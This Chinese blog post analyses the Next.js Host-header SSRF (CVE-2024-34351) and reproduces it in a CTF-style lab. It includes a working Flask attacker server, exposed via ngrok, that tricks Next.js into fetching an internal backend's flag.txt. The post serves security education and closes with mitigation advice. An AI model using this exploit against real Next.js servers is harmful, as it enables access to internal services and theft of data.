从 NextJS SSRF 漏洞看 Host 头滥用所带来的危害

前言

本篇博文主要内容是通过代码审计以及场景复现一个 NextJS 的安全漏洞(CVE-2024-34351)来讲述滥用 Host 头的危害

严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

Host 概念介绍

Host 是什么

当你在浏览器中输入一个网址并回车时,你的浏览器会发送一个 HTTP 请求到相应的服务器以获取网页内容,在这个 HTTP 请求中,会有一个叫做 "Host" 的字段,"Host" 字段标识了 HTTP 请求中所访问的主机名或域名。

在 HTTP/1.1 协议中,这个字段是必需的,它告诉服务器请求是发送到哪个具体的主机。

在上述流量中,"Host" 字段的值是 "www.baidu.com" ,这告诉服务器,当前这个请求是为了获取 www.baidu.com 上的资源。

Host 的作用

当用户通过域名请求一个网站时,首先会进行 DNS 查询,将域名解析为对应的 IP 地址。在传统模式中,一个 IP 地址只能对应一个服务器的一个端口,通常使用默认的80端口或443端口。但是,我们想要在同一台服务器上运营多个网站,这要如何实现呢?

其中一种解决方案是利用 HTTP 请求头中的 "Host" 字段来区分用户访问的网站。服务器可以根据 "Host" 字段转发请求到对应的网站,这样就能实现一台服务器上运营多个网站。

Host 滥用危害

在正常情况下,Host 头部用于指示用户访问的域名,然而,攻击者可以通过修改 Host 头部来欺骗服务器,使其认为用户访问的是受信任的域名,从而绕过安全检查。

具体而言,攻击者可以构造一个恶意的 Host 头部,将其设置为目标服务器上的受信任域名。当服务器接收到请求时,它会根据 Host 头部来确定用户访问的站点,并执行相应的逻辑。攻击者可以利用这个漏洞来执行未经授权的操作,例如访问敏感数据、执行恶意代码等。

Host 滥用可能会导致以下一些危害:

  1. XSS、SSRF、SQL 注入等;
  2. 未授权访问;
  3. 网页缓存污染;
  4. 密码重置污染;
  5. ...

接下来以 CVE-2024-34351 为例进行详细讲解,它是一个源自 NextJS 中的安全漏洞,该漏洞的利用方式是通过恶意构造的 Host 头部来触发 SSRF。

NextJS 既是客户端库,又提供了一个功能齐全的服务器端框架,但这一特性却让 hacker 有机可乘。在用户调用服务器接口,并且服务器以重定向进行响应时,它会调用以下函数:

async function createRedirectRenderResult(req: IncomingMessage,res: ServerResponse,redirectUrl: string,basePath: string,staticGenerationStore: StaticGenerationStore
) {...if (redirectUrl.startsWith('/')) {...const host = req.headers['host']...const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)...try {const headResponse = await fetch(fetchUrl, {method: 'HEAD',headers: forwardedHeaders,next: {// @ts-ignoreinternal: 1,},})if (headResponse.headers.get('content-type') === RSC_CONTENT_TYPE_HEADER) {const response = await fetch(fetchUrl, {method: 'GET',headers: forwardedHeaders,next: {// @ts-ignoreinternal: 1,},})...return new FlightRenderResult(response.body!)}} catch (err) {...}}return RenderResult.fromStatic('{}')
}

根据上述代码可以发现,如果重定向路径以 / 开头,服务器会请求 fetchUrl 资源返回给客户端,而不是直接将客户端直接重定向到 fetchUrl。

而 fetchUrl 中的目标地址正是来自客户端请求头中的 Host 参数:

const host = req.headers['host'] 
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)

如果我们伪造指向内部主机的 Host 头,NextJS 将尝试从该主机而不是应用程序本身获取响应,从而导致 SSRF。

下面我们将通过场景复现的形式来进一步讲解,同时也能够加深读者的理解。

Host 漏洞复现

现在有一个 WEB 程序,目录结构如下所示:

Archive:  log-action.zipcreating: log-action/creating: log-action/backend/inflating: log-action/backend/flag.txt  inflating: log-action/docker-compose.yml  creating: log-action/frontend/inflating: log-action/frontend/.gitignore  inflating: log-action/frontend/Dockerfile  inflating: log-action/frontend/entrypoint.sh  inflating: log-action/frontend/next-env.d.ts  inflating: log-action/frontend/next.config.mjs  inflating: log-action/frontend/package-lock.json  inflating: log-action/frontend/package.json  inflating: log-action/frontend/postcss.config.mjs  creating: log-action/frontend/src/creating: log-action/frontend/src/app/creating: log-action/frontend/src/app/admin/inflating: log-action/frontend/src/app/admin/page.tsx  inflating: log-action/frontend/src/app/global.css  inflating: log-action/frontend/src/app/layout.tsx  creating: log-action/frontend/src/app/login/inflating: log-action/frontend/src/app/login/page.tsx  creating: log-action/frontend/src/app/logout/inflating: log-action/frontend/src/app/logout/page.tsx  inflating: log-action/frontend/src/app/page.tsx  inflating: log-action/frontend/src/auth.config.ts  inflating: log-action/frontend/src/auth.ts  creating: log-action/frontend/src/lib/inflating: log-action/frontend/src/lib/actions.ts  inflating: log-action/frontend/src/middleware.ts  inflating: log-action/frontend/tailwind.config.ts  inflating: log-action/frontend/tsconfig.json  

我们的目的是获取到 log-action/backend/flag.txt 里的内容。当前 log-action/backend/flag.txt 通过 Nginx 挂载到 /usr/share/nginx/html/flag.txt,因此,我们只需要到达内部 Nginx,即可访问 http://<后端IP>/flag.txt 来获取到文件内容。

这里利用了 Next.js 在服务器操作中的 SSRF 漏洞(CVE-2024-34351)。当我们调用一个服务器动作时,它会通过异步函数 createRedirectRenderResult() 来响应一个重定向。Tip: 已在上文进行分析。

而 WEB 应用程序源代码中的注销页面 log-action/frontend/src/app/logout/page.tsx 刚好符合上述条件,它使用服务器操作 "use server"; 和 redirect() 函数将客户端重定向到 /login。

当我们点击注销页面的 “Log out” 按钮时,它会发送以下 POST 请求:

因为重定向路径以 / 开头,它首先获取重定向路径的响应,然后将响应返回给客户端,而不是直接重定向到客户端,因此我们可以利用此特性,让服务器端使用 Host 头从任何来源获取任何资源。

在本地创建一个 Flask 应用程序,代码如下所示:

from flask import Flask, request, Responseapp = Flask(__name__)@app.route('/login')
def exploit():if request.method == 'HEAD':response = Response()response.headers['Content-Type'] = 'text/x-component'return responseelif request.method == 'GET':return 'After CORS preflight check'if __name__ == '__main__':app.run(port=80, debug=True)

Tip

代码里的路由为 /login 是没有问题的,因为我们的下一个动作就是 redirect("/login")。
这是 NextJS 的特性,它使用 Next-Action ID 来唯一标识我们下一步要采取的动作,因此只要我们传递对应的 Next-Action 标头就会触发动作,而不用去关心具体的路由。

通过 ngrok 进行端口转发:

Forwarding                    https://1593-{REDACTED}.ngrok-free.app -> http://localhost:80

重新发送 /logout 请求,请求结果如下所示:

可以发现我们成功地获取到了响应体,那么接下来我们只要更改成 Flask 的代码,将服务器端的 fetch 重定向到我们想要的资源即可,修改代码如下所示:

@app.route('/login')
def exploit():if request.method == 'HEAD':...elif request.method == 'GET':ip = '后端IP'return redirect(f'http://{ip}/flag.txt')

运行结果:

为了修复这个漏洞,开发者应该在处理重定向逻辑时,对 Host 头部进行严格的验证和过滤,确保只接受受信任的域名,并对非法的 Host 头部进行拒绝或适当的处理。

后记

在本文中,我们通过分析 NextJS SSRF 漏洞(CVE-2024-34351),展示了滥用 Host 头所带来的危害。通过对 Host 的概念介绍和滥用危害的详细讨论,我们希望读者能够加深对这一问题的理解,并在开发和维护应用程序时更加重视和注意 Host 头的安全使用。

作者:sidiot
链接:https://juejin.cn/post/7388064351503892495

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/49203.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

浅谈断言之XML Schema断言

浅谈断言之XML Schema断言 “XML Schema断言”是一种专门用于验证基于XML的响应是否遵循特定XML Schema定义的标准和结构的断言类型。下面我们将详细探讨XML Schema断言的各个方面。 XML Schema断言简介 XML Schema断言&#xff08;XML Schema Assertion&#xff09;允许用户…

fastJSON 解决kafka消息斜杠转义问题

Bug: kafka发送消息时的JSON转义异常 问题描述: 问题描述:kafka消息发送出去但是消费者执行相关逻辑的时候报错. 场景:当时实习的时候需要模拟数据做一个实时经纬度传输的接口,使用kafka实时发送消息将数据同步到数据库中 问题分析: fastjson使用不当可能导致转义异常**,kafka…

Android 15 之如何快速适配 16K Page Size

在此之前&#xff0c;我们通过 《Android 15 上 16K Page Size 为什么是最坑》 介绍了&#xff1a; 什么是16K Page Size为什么它对于 Android 很坑如何测试 如果你还没了解&#xff0c;建议先去了解下前文&#xff0c;然后本篇主要是提供适配的思路&#xff0c;因为这类适配…

Facebook Dating:社交平台的约会新体验

随着社交媒体的普及和技术的发展&#xff0c;传统的社交方式正在经历革新&#xff0c;尤其是在约会这个领域。Facebook作为全球领先的社交平台&#xff0c;推出了Facebook Dating&#xff0c;旨在为用户提供一个全新的约会体验。本文将探讨Facebook Dating如何重新定义社交平台…

43 华三AC登录Web页面

一 无线上WEB页面 1 创建vlan 56 [AC-KongZhi]vlan 56 2 退出 [AC-KongZhi-vlan56]quit 3 进入vlan三层口 配置IP地址 [AC-KongZhi]interface Vlan-interface 56 [AC-KongZhi-Vlan-interface56]ip address 192.168.56.55 24 4 在AC控制器与Host主机的接口上能通关vlan 5…

高等数学重难点突破:高阶导数的计算

写在最前 文章目录 写在最前方法一&#xff1a;找规律方法二&#xff1a;牛顿莱布尼茨公式方法三&#xff1a;泰勒公式方法四&#xff1a; 数学归纳法 本文重点讨论总结面对高阶导数&#xff0c;我们可以使用哪些方法(工具&#xff09;来解决计算高阶导数问题 方法概述&#xf…

【入门教程一】基于DE2-115的My First FPGA 工程

1.1. 概述 这是一个简单的练习&#xff0c; 可以帮助初学者开始了解如何使用Intel Quartus 软件进行 FPGA 开发。 在本章节中&#xff0c;您将学习如何编译 Verilog 代码&#xff0c;进行引脚分配&#xff0c;创建时序约束&#xff0c;然后对 FPGA 进行编程&#xff0c;驱动开…

【Redis】主从复制分析-基础

1 主从节点运行数据的存储 在主从复制中, 对于主节点, 从节点就是自身的一个客户端, 所以和普通的客户端一样, 会被组织为一个 client 的结构体。 typedef struct client {// 省略 } client;同时无论是从节点, 还是主节点, 在运行中的数据都存放在一个 redisServer 的结构体中…

求职学习day8

7/21回顾&#xff1a; 用面试鸭的意义可能就在于将知识点用问答的形式具象化在脑海&#xff0c;不然可能只停留在听说过的感觉 7.21 玩了一天。一个很不好的信号。今天下午要试试把 mall 项目的代码运行过一遍。 项目运行问题&#xff1a; 问题 1 &#xff1a;两个门服务器…

有序充电在新型电力系统下的解决方案

摘要&#xff1a;近年来,新能源汽车的销量快速增长,相应的充电桩数量也急剧增加,这一现象可能会给电网和变压器造成负担,与此同时&#xff0c;新型电力系统下以光伏为主的分布式发电系统占比也在逐渐提高&#xff0c;新能源的不稳定性叠加充电需求的不确定性会给电网带来严峻的…

Unity发布XR中用于worldbuilding的全新电子书

通过身临其境的虚拟领域开始旅程&#xff0c;在维度之间传送&#xff0c;或将数字奇迹与现实世界融合——虚拟现实(VR)和混合现实(MR)的千万种可能性将邀请创作者把他们的想象力带入生活。 Unity发布的最新版综合指南将帮助有抱负的创作者和经验丰富的开发者深入研究和理解构建…

洛谷看不了别人主页怎么办

首先&#xff0c;我们先点进去 可以看到&#xff0c;看不了一点 那我们看向上方&#xff0c;就可以发现&#xff0c;我们那有个URL&#xff0c;选中 把光标插到n和/中间 把.cn删了&#xff0c;变成国际服 我们就可以看了 但是国际服还没搭建完&#xff0c;跳转的时候可能503&a…

融云 2024 ChinaJoy | 你有一个必逛的展位 @W4 馆 B786

惊喜闪现&#x1f447; 打开抖音搜索【融云】 关注融云官抖&#xff0c;可到展位领取好礼一份 更有惊喜内容不定时掉落~

Python从0到100(四十六):实现管理员登录及测试功能

前言&#xff1a; 零基础学Python&#xff1a;Python从0到100最新最全教程。 想做这件事情很久了&#xff0c;这次我更新了自己所写过的所有博客&#xff0c;汇集成了Python从0到100&#xff0c;共一百节课&#xff0c;帮助大家一个月时间里从零基础到学习Python基础语法、Pyth…

“微软蓝屏”事件暴露了网络安全哪些问题?

网络安全的隐性威胁&#xff1a;从“微软蓝屏”事件看全球IT基础设施的脆弱性 ---------------------------------------------------------------------------------------------------------------------------- 一、事件回顾 近日&#xff0c;由微软视窗系统软件更新引发的…

Python设计模式:巧用元类创建单例模式!

✨ 内容&#xff1a; 今天我们来探讨一个高级且实用的Python概念——元类&#xff08;Metaclasses&#xff09;。元类是创建类的类&#xff0c;它们可以用来控制类的行为。通过本次练习&#xff0c;我们将学习如何使用元类来实现单例模式&#xff0c;确保某个类在整个程序中只…

Adobe Dimension(DN)安装包软件下载

目录 一、软件简介 二、软件下载 三、注意事项 四、软件功能 五、常用快捷键 快捷键&#xff1a; 一、软件简介 Adobe Dimension&#xff08;简称DN&#xff09;是Adobe公司推出的一款三维设计和渲染软件。与一般的3D绘图软件相比&#xff0c;DN在操作界面和功能上有所不…

国产JS库(js-tool-big-box)7月度总结

js-tool-big-box开发已经有3个月了&#xff0c;团队内的小伙伴进行了热烈的讨论&#xff0c;持续做了功能迭代。小伙伴们也做了艰苦卓绝的文档分享&#xff0c;有纯功能分享类的&#xff0c;有带有小故事的&#xff0c;有朋友们利用自己独自网站分发分享的。7月份快要结束了&am…

sip六大头域深度解析 - Max-Forwards头域

SIP&#xff08;Session Initiation Protocol&#xff0c;会话初始协议&#xff09;中的Max-Forwards头域是一个用于限制SIP请求消息在SIP网络中能够经过的实体&#xff08;如代理服务器、gateway&#xff09;的最大数目的头域。 基本概念 功能&#xff1a;Max-Forwards头域用…

FPGA DNA 获取 DNA_PORT

FPGA DNA DNA 是 FPGA 芯片的唯一标识&#xff0c; FPGA 都有一个独特的 ID &#xff0c;也就是 Device DNA &#xff0c;这个 ID 相当于我们的身份证&#xff0c;在 FPGA 芯片生产的时候就已经固定在芯片的 eFuse 寄存器中&#xff0c;具有不可修改的属性。在 xilinx 7series…